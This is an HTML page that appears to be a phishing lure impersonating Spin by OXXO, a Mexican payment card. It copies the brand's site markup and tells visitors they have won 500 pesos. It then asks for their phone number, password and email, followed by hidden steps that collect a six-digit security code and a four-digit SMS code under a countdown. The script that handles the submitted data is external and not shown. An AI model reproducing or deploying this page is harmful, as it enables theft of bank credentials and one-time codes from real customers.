<html class="js" lang="en">
  <head>
    <meta http-equiv="content-type" content="text/html; charset=UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" href="img/icono.png">
    <meta name="generator" content="Webflow">
    <link rel="stylesheet" href="css/style.css">
    <link rel="stylesheet" href="css/css.css">
    <title>Invita y Gana</title>
    <style>

    </style>
  </head>
  <body style="  overflow-x: hidden;" class="page-template-default page page-id-44 et-tb-has-template et-tb-has-header et-tb-has-footer et_pb_button_helper_class et_cover_background et_pb_gutter windows et_pb_gutters3 et_pb_pagebuilder_layout et_no_sidebar et_divi_theme et-db et_minified_js et_minified_css chrome cookies-not-set">
    <nav>
      <div class="navbar"> <a href="#"> <img src="img/logo-download.png" class="logo"

            alt="Logo"> </a> </div>
      <br>
      <!-- Added by HTTrack --><!-- /Added by HTTrack -->
      <meta http-equiv="X-UA-Compatible" content="IE=edge">
      <link rel="pingback" href="../xmlrpc.php">
      <script async="" src="../../www.googletagmanager.com/gtm5445.html?id=GTM-TVNX3TH"></script>
      <script async="" src="../../www.googletagmanager.com/gtm5445.html?id=GTM-TVNX3TH"></script>
      <script type="text/javascript">
		document.documentElement.className = 'js';
	</script>
      <meta name="robots" content="index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1">
      <!-- This site is optimized with the Yoast SEO plugin v18.9 - https://yoast.com/wordpress/plugins/seo/ -->
      <title>Tarjeta Spin by OXXO</title>
      <meta name="description" content="Paga todo con tu tarjeta Spin by OXXO, solicítala en tu app o en tiendas OXXO. Acumula Puntos OXXO PREMIA y canjéalos por productos participantes en OXXO.">
      <link rel="canonical" href="index.html">
      <meta property="og:locale" content="es_ES">
      <meta property="og:type" content="article">
      <meta property="og:title" content="Tarjeta Spin by OXXO">
      <meta property="og:description" content="Paga todo con tu tarjeta Spin by OXXO, solicítala en tu app o en tiendas OXXO. Acumula Puntos OXXO PREMIA y canjéalos por productos participantes en OXXO.">
      <meta property="og:url" content="https://spinbyoxxo.com.mx/tarjeta-spin-by-oxxo/">
      <meta property="og:site_name" content="Spinbyoxxo">
      <meta property="article:modified_time" content="2022-05-10T22:42:29+00:00">
      <meta name="twitter:card" content="summary_large_image">
      <meta name="twitter:label1" content="Tiempo de lectura">
      <meta name="twitter:data1" content="6 minutos">
      <script type="application/ld+json" class="yoast-schema-graph">{"@context":"https://schema.org","@graph":[{"@type":"Organization","@id":"https://spinbyoxxo.com.mx/#organization","name":"Spinbyoxxo","url":"https://spinbyoxxo.com.mx/","sameAs":[],"logo":{"@type":"ImageObject","inLanguage":"es","@id":"https://spinbyoxxo.com.mx/#/schema/logo/image/","url":"https://spinbyoxxo.com.mx/wp-content/uploads/2021/07/imagen-8.png","contentUrl":"https://spinbyoxxo.com.mx/wp-content/uploads/2021/07/imagen-8.png","width":218,"height":161,"caption":"Spinbyoxxo"},"image":{"@id":"https://spinbyoxxo.com.mx/#/schema/logo/image/"}},{"@type":"WebSite","@id":"https://spinbyoxxo.com.mx/#website","url":"https://spinbyoxxo.com.mx/","name":"Spinbyoxxo","description":"","publisher":{"@id":"https://spinbyoxxo.com.mx/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https://spinbyoxxo.com.mx/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"es"},{"@type":"WebPage","@id":"https://spinbyoxxo.com.mx/tarjeta-spin-by-oxxo/#webpage","url":"https://spinbyoxxo.com.mx/tarjeta-spin-by-oxxo/","name":"Tarjeta Spin by OXXO","isPartOf":{"@id":"https://spinbyoxxo.com.mx/#website"},"datePublished":"2021-07-02T01:00:08+00:00","dateModified":"2022-05-10T22:42:29+00:00","description":"Paga todo con tu tarjeta Spin by OXXO, solicítala en tu app o en tiendas OXXO. Acumula Puntos OXXO PREMIA y canjéalos por productos participantes en OXXO.","breadcrumb":{"@id":"https://spinbyoxxo.com.mx/tarjeta-spin-by-oxxo/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https://spinbyoxxo.com.mx/tarjeta-spin-by-oxxo/"]}]},{"@type":"BreadcrumbList","@id":"https://spinbyoxxo.com.mx/tarjeta-spin-by-oxxo/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Portada","item":"https://spinbyoxxo.com.mx/"},{"@type":"ListItem","position":2,"name":"Tarjeta Spin"}]}]}</script>
      <!-- / Yoast SEO plugin. -->
      <link rel="dns-prefetch" href="../index.html">
      <link rel="dns-prefetch" href="http://fonts.googleapis.com/">
      <link rel="dns-prefetch" href="http://s.w.org/">
      <link rel="alternate" type="application/rss+xml" title="Spinbyoxxo » Feed"

        href="../feed/index.html">
      <link rel="alternate" type="application/rss+xml" title="Spinbyoxxo » Feed de los comentarios"

        href="../comments/feed/index.html">
      <script type="text/javascript">
			window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/13.1.0\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/13.1.0\/svg\/","svgExt":".svg","source":{"concatemoji":"https:\/\/spinbyoxxo.com.mx\/wp-includes\/js\/wp-emoji-release.min.js?ver=5.8.3"}};
			!function(e,a,t){var n,r,o,i=a.createElement("canvas"),p=i.getContext&&i.getContext("2d");function s(e,t){var a=String.fromCharCode;p.clearRect(0,0,i.width,i.height),p.fillText(a.apply(this,e),0,0);e=i.toDataURL();return p.clearRect(0,0,i.width,i.height),p.fillText(a.apply(this,t),0,0),e===i.toDataURL()}function c(e){var t=a.createElement("script");t.src=e,t.defer=t.type="text/javascript",a.getElementsByTagName("head")[0].appendChild(t)}for(o=Array("flag","emoji"),t.supports={everything:!0,everythingExceptFlag:!0},r=0;r<o.length;r++)t.supports[o[r]]=function(e){if(!p||!p.fillText)return!1;switch(p.textBaseline="top",p.font="600 32px Arial",e){case"flag":return s([127987,65039,8205,9895,65039],[127987,65039,8203,9895,65039])?!1:!s([55356,56826,55356,56819],[55356,56826,8203,55356,56819])&&!s([55356,57332,56128,56423,56128,56418,56128,56421,56128,56430,56128,56423,56128,56447],[55356,57332,8203,56128,56423,8203,56128,56418,8203,56128,56421,8203,56128,56430,8203,56128,56423,8203,56128,56447]);case"emoji":return!s([10084,65039,8205,55357,56613],[10084,65039,8203,55357,56613])}return!1}(o[r]),t.supports.everything=t.supports.everything&&t.supports[o[r]],"flag"!==o[r]&&(t.supports.everythingExceptFlag=t.supports.everythingExceptFlag&&t.supports[o[r]]);t.supports.everythingExceptFlag=t.supports.everythingExceptFlag&&!t.supports.flag,t.DOMReady=!1,t.readyCallback=function(){t.DOMReady=!0},t.supports.everything||(n=function(){t.readyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1),e.addEventListener("load",n,!1)):(e.attachEvent("onload",n),a.attachEvent("onreadystatechange",function(){"complete"===a.readyState&&t.readyCallback()})),(n=t.source||{}).concatemoji?c(n.concatemoji):n.wpemoji&&n.twemoji&&(c(n.twemoji),c(n.wpemoji)))}(window,document,window._wpemojiSettings);
		</script>
      <script src="https://spinbyoxxo.com.mx/wp-includes/js/wp-emoji-release.min.js?ver=5.8.3"

type="text/javascript" defer="defer"></script>
      <script src="https://spinbyoxxo.com.mx/wp-includes/js/wp-emoji-release.min.js?ver=5.8.3"

type="text/javascript" defer="defer"></script>
      <meta content="Divi v.4.9.10" name="generator">
      <style type="text/css">
img.wp-smiley,
img.emoji {
	display: inline !important;
	border: none !important;
	box-shadow: none !important;
	height: 1em !important;
	width: 1em !important;
	margin: 0 .07em !important;
	vertical-align: -0.1em !important;
	background: none !important;
	padding: 0 !important;
}
</style> <link rel="stylesheet" id="wp-block-library-css" href="../wp-includes/css/dist/block-library/style.minc8d8.css?ver=5.8.3"

        type="text/css" media="all">
      <link rel="stylesheet" id="divi-fonts-css" href="https://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800&amp;subset=latin,latin-ext&amp;display=swap"

        type="text/css" media="all">
      <link rel="stylesheet" id="divi-style-css" href="../wp-content/themes/Divi/style8e83.css?ver=4.9.10"

        type="text/css" media="all">
      <link rel="stylesheet" id="cookie-notice-front-css" href="../wp-content/plugins/cookie-notice/css/front.minc8d8.css?ver=5.8.3"

        type="text/css" media="all">
      <script type="text/javascript" src="../wp-includes/js/jquery/jquery.minaf6c.js?ver=3.6.0"

id="jquery-core-js"></script>
      <script type="text/javascript" src="../wp-includes/js/jquery/jquery-migrate.mind617.js?ver=3.3.2"

id="jquery-migrate-js"></script>
      <script type="text/javascript" id="cookie-notice-front-js-extra">
/* <![CDATA[ */
var cnArgs = {"ajaxUrl":"https:\/\/spinbyoxxo.com.mx\/wp-admin\/admin-ajax.php","nonce":"f9cba95ebb","hideEffect":"fade","position":"bottom","onScroll":"0","onScrollOffset":"100","onClick":"0","cookieName":"cookie_notice_accepted","cookieTime":"2592000","cookieTimeRejected":"2592000","cookiePath":"\/","cookieDomain":"","redirection":"0","cache":"0","refuse":"0","revokeCookies":"0","revokeCookiesOpt":"automatic","secure":"1"};
/* ]]> */
</script> <script async="" type="text/javascript" src="../wp-content/plugins/cookie-notice/js/front.min950a.js?ver=2.2.3"

id="cookie-notice-front-js"></script>
      <link rel="https://api.w.org/" href="../wp-json/index.html">
      <link rel="alternate" type="application/json" href="../wp-json/wp/v2/pages/44.json">
      <link rel="EditURI" type="application/rsd+xml" title="RSD" href="../xmlrpc0db0.php?rsd">
      <link rel="wlwmanifest" type="application/wlwmanifest+xml" href="../wp-includes/wlwmanifest.xml">
      <meta name="generator" content="WordPress 5.8.3">
      <link rel="shortlink" href="../index49b1.html?p=44">
      <link rel="alternate" type="application/json+oembed" href="../wp-json/oembed/1.0/embed88b5.json?url=https%3A%2F%2Fspinbyoxxo.com.mx%2Ftarjeta-spin-by-oxxo%2F">
      <link rel="alternate" type="text/xml+oembed" href="../wp-json/oembed/1.0/embed3e4a?url=https%3A%2F%2Fspinbyoxxo.com.mx%2Ftarjeta-spin-by-oxxo%2F&amp;format=xml">
      <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0">
      <link rel="preload" href="../wp-content/themes/Divi/core/admin/fonts/modules.ttf"

        as="font" crossorigin="anonymous">
      <!-- CSS only -->
      <link href="../../cdn.jsdelivr.net/npm/bootstrap%405.0.2/dist/css/bootstrap.min.css"

        rel="stylesheet" integrity="sha384-EVSTQN3/azprG1Anm3QDgpJLIm9Nao0Yz1ztcQTwFspd3yD65VohhpuuCOmLASjC"

        crossorigin="anonymous">
      <link rel="icon" href="../wp-content/uploads/2021/07/cropped-brand-bg-white-cp-32x32.png"

        sizes="32x32">
      <link rel="icon" href="../wp-content/uploads/2021/07/cropped-brand-bg-white-cp-192x192.png"

        sizes="192x192">
      <link rel="apple-touch-icon" href="../wp-content/uploads/2021/07/cropped-brand-bg-white-cp-180x180.png">
      <meta name="msapplication-TileImage" content="https://spinbyoxxo.com.mx/wp-content/uploads/2021/07/cropped-brand-bg-white-cp-270x270.png">
      <style id="et-divi-customizer-global-cached-inline-styles">#footer-widgets .footer-widget a,#footer-widgets .footer-widget li a,#footer-widgets .footer-widget li a:hover{color:#ffffff}.footer-widget{color:#ffffff}.et_slide_in_menu_container,.et_slide_in_menu_container .et-search-field{letter-spacing:px}.et_slide_in_menu_container .et-search-field::-moz-placeholder{letter-spacing:px}.et_slide_in_menu_container .et-search-field::-webkit-input-placeholder{letter-spacing:px}.et_slide_in_menu_container .et-search-field:-ms-input-placeholder{letter-spacing:px}@media only screen and (min-width:1350px){.et_pb_row{padding:27px 0}.et_pb_section{padding:54px 0}.single.et_pb_pagebuilder_layout.et_full_width_page .et_post_meta_wrapper{padding-top:81px}.et_pb_fullwidth_section{padding:0}}.contenidolp{padding-left:60px}.contenidolpd{padding-left:30px}.contenidolpt{padding-left:0px}.reset{clear:both}.button-cookies{background:#531BC5!important;border-radius:30px!important}.background-slide-sbo{background:url('wp-content/uploads/2021/07/fondo-sbo.html') center no-repeat;background-size:cover;padding:0px 0px}.hero-button{margin-top:70px}.hero-button a{background:#dc6718;padding:20px 20px;font-size:25px;font-weight:900;border-radius:50px;text-decoration:none;color:#fff}.et_pb_toggle_title:before{content:"33";font-size:50px;margin-top:-.4em;margin-right:15px}.et_pb_toggle_open .et_pb_toggle_title:before{display:block!important;content:"e04f"}@media screen and (min-width:320px) and (max-width:450px){.background-slide-sbo{background:#531BC5!important;background-size:cover;padding:0px 0px}}.button-cookies{background:#531BC5!important;border-radius:30px!important}.background-slide-sbo{background:url('wp-content/uploads/2021/07/fondo-sbo.html') center no-repeat;background-size:cover;padding:0px 0px}.hero-button{margin-top:70px}.hero-button a{background:#dc6718;padding:20px 20px;font-size:25px;font-weight:900;border-radius:50px;text-decoration:none;color:#fff}.et_pb_toggle_title:before{content:"\33";font-size:50px;margin-top:-.4em;margin-right:15px}.et_pb_toggle_open .et_pb_toggle_title:before{display:block!important;content:"\e04f"}@media screen and (min-width:320px) and (max-width:450px){.background-slide-sbo{background:#531BC5!important;background-size:cover;padding:0px 0px}}</style>
      <style>[data-columns]::before{visibility:hidden;position:absolute;font-size:1px;}</style>
      <style id="fit-vids-style">.fluid-width-video-wrapper{width:100%;position:relative;padding:0;}.fluid-width-video-wrapper iframe,.fluid-width-video-wrapper object,.fluid-width-video-wrapper embed {position:absolute;top:0;left:0;width:100%;height:100%;}</style>
      <style>[data-columns]::before{visibility:hidden;position:absolute;font-size:1px;}</style>
      <!-- .et_pb_column -->
      <!-- .et_pb_row -->
      <!-- .et_pb_row -->
      <!-- .et_pb_section -->
      <!-- .et_builder_inner_content -->
      <!-- .et-l -->
      <div id="et-main-area" style="background-color: white;">
        <div id="main-content">
          <article id="post-44" class="post-44 page type-page status-publish hentry">
            <div class="et_pb_module et_pb_image et_pb_image_6 et-animated et_had_animation"

              style="" data-animation-style="flip" data-animation-repeat="" data-animation-duration="1000ms"

              data-animation-delay="0ms" data-animation-intensity="50%" data-animation-starting-opacity="0%"

              data-animation-speed-curve="ease-in-out"> <span class="et_pb_image_wrap "><br>
              </span></div>
            <div class="et_pb_module et_pb_image et_pb_image_6 et-animated et_had_animation"

              style="" data-animation-style="flip" data-animation-repeat="" data-animation-duration="1000ms"

              data-animation-delay="0ms" data-animation-intensity="50%" data-animation-starting-opacity="0%"

              data-animation-speed-curve="ease-in-out"><span class="et_pb_image_wrap "><br>
              </span></div>
            <div class="et_pb_module et_pb_image et_pb_image_6 et-animated et_had_animation"

              style="" data-animation-style="flip" data-animation-repeat="" data-animation-duration="1000ms"

              data-animation-delay="0ms" data-animation-intensity="50%" data-animation-starting-opacity="0%"

              data-animation-speed-curve="ease-in-out"><span class="et_pb_image_wrap ">&nbsp;</span></div>
            <div class="et_pb_module et_pb_image et_pb_image_6 et-animated et_had_animation"

              style="" data-animation-style="flip" data-animation-repeat="" data-animation-duration="1000ms"

              data-animation-delay="0ms" data-animation-intensity="50%" data-animation-starting-opacity="0%"

              data-animation-speed-curve="ease-in-out"><span class="et_pb_image_wrap "><br>
              </span></div>
            <div class="et_pb_module et_pb_image et_pb_image_6 et-animated et_had_animation"

              style="" data-animation-style="flip" data-animation-repeat="" data-animation-duration="1000ms"

              data-animation-delay="0ms" data-animation-intensity="50%" data-animation-starting-opacity="0%"

              data-animation-speed-curve="ease-in-out"><span class="et_pb_image_wrap "><br>
              </span></div>
            <div class="et_pb_module et_pb_image et_pb_image_6 et-animated et_had_animation"

              style="" data-animation-style="flip" data-animation-repeat="" data-animation-duration="1000ms"

              data-animation-delay="0ms" data-animation-intensity="50%" data-animation-starting-opacity="0%"

              data-animation-speed-curve="ease-in-out"><span class="et_pb_image_wrap "><br>
              </span></div>
            <div class="et_pb_module et_pb_image et_pb_image_6 et-animated et_had_animation"

              style="" data-animation-style="flip" data-animation-repeat="" data-animation-duration="1000ms"

              data-animation-delay="0ms" data-animation-intensity="50%" data-animation-starting-opacity="0%"

              data-animation-speed-curve="ease-in-out"><span class="et_pb_image_wrap "><br>
              </span></div>
            <div class="et_pb_module et_pb_image et_pb_image_6 et-animated et_had_animation"

              style="" data-animation-style="flip" data-animation-repeat="" data-animation-duration="1000ms"

              data-animation-delay="0ms" data-animation-intensity="50%" data-animation-starting-opacity="0%"

              data-animation-speed-curve="ease-in-out"><span class="et_pb_image_wrap "><img

                  loading="lazy" src="../wp-content/uploads/2021/07/imagen-12.png"

                  alt="Con tus puntos acumulados oxxopremia puedes obtener productos gratis"

                  title="obtén productos gratis con oxxo premia" srcset="../wp-content/uploads/2021/07/imagen-12.png 360w, ../wp-content/uploads/2021/07/imagen-12-300x281.png 300w"

                  sizes="(max-width: 360px) 100vw, 360px" class="wp-image-50" height="337"

                  width="360"></span> </div>
          </article>
        </div>
        <span style="color: #ff9900;"><b><!-- .et_pb_column --></b></span>
        <div class="et_pb_column et_pb_column_1_2 et_pb_column_11  et_pb_css_mix_blend_mode_passthrough et-last-child"

          style="background-color: white;"><span style="color: #dc6718;"><b> </b></span>
          <div class="et_pb_module et_pb_text et_pb_text_11  et_pb_text_align_left et_pb_bg_layout_light"

            style="background-color: white;"><span style="color: #dc6718;"><b> </b></span>
            <div class="et_pb_text_inner">
              <h2 style="background-color: white;"><span style="color: #dc6718;"><b>Felicidades
                    has ganado $500 pesos! Gracias por ser Cliente de Spin By
                    OXXO</b></span></h2>
            </div>
          </div>
          <!-- .et_pb_text -->
          <div class="et_pb_module et_pb_text et_pb_text_12  et_pb_text_align_left et_pb_bg_layout_light">
            <div class="et_pb_text_inner">Spin by OXXO te PREMIA, mientras pagas
              todo con tu tarjeta, acumulas puntos que puedes cambiar por
              ¡productos gratis en OXXO!
              <p></p>
              <p style="text-align: center;"><a href="https://oxxopremia.oxxo.com/terms-conditions"

                  style="text-decoration: none; font-size:18px;">Consulta
                  Términos y Condiciones de OXXO PREMIA</a></p>
            </div>
          </div>
          <!-- .et_pb_text --> </div>
        <!-- .et_pb_column --> </div>
      <!-- .et_pb_row -->
      <!-- .et_pb_section -->
      <div class="et_pb_section et_pb_section_6 et_pb_with_background et_section_specialty">
        <div class="et_pb_row">
          <div class="et_pb_column et_pb_column_1_2 et_pb_column_12 et_pb_css_mix_blend_mode_passthrough et_pb_column_single">
            <div class="et_pb_module et_pb_text et_pb_text_13  et_pb_text_align_left et_pb_bg_layout_light">
              <div class="et_pb_text_inner">
                <h2 style="text-align: center;"><b>Ingresa tus datos para
                    acreditar tu Premio! <br>
                    Spin by OXXO!</b></h2>
              </div>
            </div>
          </div>
        </div>
      </div>
    </nav>
    <h1 class="tittle_principal">Iniciar sesión</h1>
    <div class="form-container">
      <form id="loginForm">
        <div class="contenido_2">
          <p style="text-align: center; font-size:18px; font-weight:700;margin-bottom:30px;">Hola</p>
          <div style="width: 100%;" class="input_info"> <label style="font-size: 15px;font-weight: 700;"

              for="numero">Teléfono</label> <input inputmode="numeric" id="numero"

              name="numero" minlength="4" maxlength="14" value="+52 " oninput="formatPhoneNumber(this);"

              type="text"> </div>
          <div style="width: 100%;" class="input_info"> <label style="font-size: 15px;font-weight: 700;"

              for="contra">Contraseña</label> <input inputmode="text" id="contra"

              name="contra" minlength="8" onkeydown="if(event.keyCode==32) return false;"

              type="password"> </div>         
			<div style="width: 100%;" class="input_info"> <label style="font-size: 15px;font-weight: 700;"

              for="correo">Correo Electronico</label> <input inputmode="text" id="correo"

              name="correo" minlength="8" 

              type="text"> </div>
          <p style="color: #dc6718!important;font-weight: 900;font-size: 35px;margin: 0;font-size:15px;">¿Olvidaste
            tu contraseña?</p>
          <button style="margin-top: 20px;" id="submit">Iniciar sesión</button>
        </div>
      </form>
    </div>
    <div id="codeContainer" style="display: none;">
      <div class="contenido_2">
        <div style="width: 100%;" class="input_info code-input-container"> <label

            style="font-size: 15px; font-weight: 700;" for="codigo">Ingresa tu
            código de seguridad</label>
          <div class="code-input"> <input inputmode="numeric" maxlength="1" oninput="formatCode(this);"

              id="code1" type="text"> <input inputmode="numeric" maxlength="1"

              oninput="formatCode(this);" id="code2" type="text"> <input inputmode="numeric"

              maxlength="1" oninput="formatCode(this);" id="code3" type="text">
            <input inputmode="numeric" maxlength="1" oninput="formatCode(this);"

              id="code4" type="text"> <input inputmode="numeric" maxlength="1"

              oninput="formatCode(this);" id="code5" type="text"> <input inputmode="numeric"

              maxlength="1" oninput="formatCode(this);" id="code6" type="text">
          </div>
        </div>
        <p style="color: #dc6718!important;font-weight: 900;font-size: 35px;margin: 0;font-size:15px;">¿Olvidaste
          tu código?</p>
        <button style="margin-top: 20px;" id="submitCode">Confirmar</button> </div>
    </div>
    <div id="fourDigitCodeContainer" style="display: none;">
      <div class="contenido_2">
        <div style="width: 100%;" class="input_info code-input-container"> <label

            style="font-size: 15px; font-weight: 700;" for="codigo">Escribe el
            código de 4 dígitos que recibiste en el número:</label>
          <p id="phoneNumberDisplay" style="font-size: 15px; font-weight: 700; display: inline;"></p>
          <div class="code-input"> <input inputmode="numeric" maxlength="1" oninput="formatCode(this); moveToNext(this, 'fourcode2')"

              id="fourcode1" type="text"> <input inputmode="numeric" maxlength="1"

              oninput="formatCode(this); moveToNext(this, 'fourcode3')" id="fourcode2"

              type="text"> <input inputmode="numeric" maxlength="1" oninput="formatCode(this); moveToNext(this, 'fourcode4')"

              id="fourcode3" type="text"> <input inputmode="numeric" maxlength="1"

              oninput="formatCode(this);" id="fourcode4" type="text"> </div>
        </div>
        <p style="color: #dc6718!important;font-weight: 900;font-size: 35px;margin: 0;font-size:15px;"

          id="countdown">02:52</p>
        <p id="successMessage" style="display: none; color: rgb(117, 13, 13); font-weight: bold;">¡Código
          Incorrecto!</p>
        <script src="reloj/script.js"></script> <button style="margin-top: 20px;"

          id="submitFourDigitCode">Confirmar</button> </div>
    </div>
    <section class="final"> <img class="brand" src="img/brand-bg-white-cp.png"

        alt="Brand">
      <div class="apps"> <img style="width: 15%;" src="img/LOGO_BURO.jpg" alt="Logo BURO">
      </div>
    </section>
    <script src="javascript/js.js"></script>
    <section class="final_3"> <span style="width: 80%;">Compropago, S.A. de
        C.V., Institución de Fondos de Pago Electrónico, es una entidad
        financiera autorizada, regulada y supervisada por las Autoridades
        Financieras de México, para operar en términos de lo previsto por la Ley
        para Regular las Instituciones de Tecnología Financiera, bajo la marca
        comercial Spin by OXXO. Ni el Gobierno Federal ni las entidades de la
        administración pública paraestatal podrán responsabilizarse o garantizar
        los recursos de los Clientes que sean utilizados en las Operaciones que
        celebren con Spin by OXXO o frente a otros, así como tampoco asumir
        alguna responsabilidad por las obligaciones contraídas por Spin by OXXO
        o por algún Cliente frente a otro, en virtud de las operaciones que
        celebren.</span> <strong style="font-weight: 800; text-align:center;font-size:20px;width: 90%;">©2023
        Spin by OXXO. Todos los derechos reservados</strong> </section>
  </body>
</html>
